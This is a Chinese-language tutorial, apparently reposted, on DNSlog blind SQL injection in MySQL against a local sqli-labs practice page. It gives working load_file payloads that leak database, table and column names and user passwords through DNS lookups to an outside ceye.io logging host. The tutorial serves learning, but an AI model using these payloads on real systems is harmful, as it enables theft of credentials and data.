SQL注入學習-Dnslog盲注


1.基礎知識

1.DNS

DNS(Domain Name System,域名系統),因特網上作為域名和IP地址相互映射的一個分布式數據庫,能夠使用戶更方便的訪問互聯網,而不用去記住能夠被機器直接讀取的IP數串。通過主機名,最終得到該主機名對應的IP地址的過程叫做域名解析(或主機名解析)。DNS協議運行在UDP協議之上,使用端口號53。在RFC文檔中RFC 2181對DNS有規范說明,RFC 2136對DNS的動態更新進行說明,RFC 2308對DNS查詢的反向緩存進行說明。

2.Dnslog

Dnslog就是存儲在DNS Server上的域名信息,它記錄着用戶對域名www.test.comt00ls.com.等的訪問信息。

DnsLog盲注

對於SQL盲注,我們可以通過布爾或者時間盲注獲取內容,但是整個過程效率低,需要發送很多的請求進行判斷,容易觸發安全設備的防護,Dnslog盲注可以減少發送的請求,直接回顯數據實現注入 使用DnsLog盲注僅限於windos環境。

原理圖:

 

如圖,攻擊者首先提交注入語句select load_file(concat('\\\\','攻擊語句',.XXX.ceye.io\\abc))

在數據庫中攻擊語句被執行,由concat函數將執行結果與XXX.ceye.io\\abc拼接,構成一個新的域名,而mysql中的select load_file()可以發起請求,那么這一條帶有數據庫查詢結果的域名就被提交到DNS服務器進行解析

此時,如果我們可以查看DNS服務器上的Dnslog就可以得到SQL注入結果。那么我們如何獲得這條DNS查詢記錄呢?注意注入語句中的ceye.io,這其實是一個開放的Dnslog平台(具體用法在官網可見),在http://ceye.io上我們可以獲取到有關ceye.io的DNS查詢信息。實際上在域名解析的過程中,是由頂級域名向下逐級解析的,我們構造的攻擊語句也是如此,當它發現域名中存在ceye.io時,它會將這條域名信息轉到相應的NS服務器上,而通過http://ceye.io我們就可以查詢到這條DNS解析記錄。

 

構造語法

構造語句,利用load_file()函數發起請求,使用Dnslog接受請求,獲取數據

SELECT LOAD_FILE(CONCAT('\\\',(select database(),'mysql.cmr1ua.ceye.io\\abc')))

通過SQL語句查詢內容,作為請求的一部分發送至Dnslog

只要對這一部分語句進行構造,就能實現有回顯的SQL注入

payload:

獲取數據庫名

http://127.0.0.1/lou/sql/Less-9/?id=1' and load_file(concat('\\\\',(select database()),'.cmr1ua.ceye.io\\abc'))--+

 通過dnslog查看到數據名為security

 獲取數據表

http://127.0.0.1/lou/sql/Less-9/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

獲取表中的字段名

' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

獲取表中字段下的數據

' and load_file(concat('\\\\',(select password from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
' and load_file(concat('\\\\',(select username from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

因為在load_file里面不能使用@ ~等符號所以要區分數據我們可以先用group_ws()函數分割在用hex()函數轉成十六進制即可 出來了再轉回去

' and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

 

 

Donslog注入腳本

https://github.com/ADOOO/DnslogSqlinj

參考學習:https://www.jianshu.com/p/d6788f57dba5

  https://www.cnblogs.com/afanti/p/8047530.html

      網易雲白帽子進階課程

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM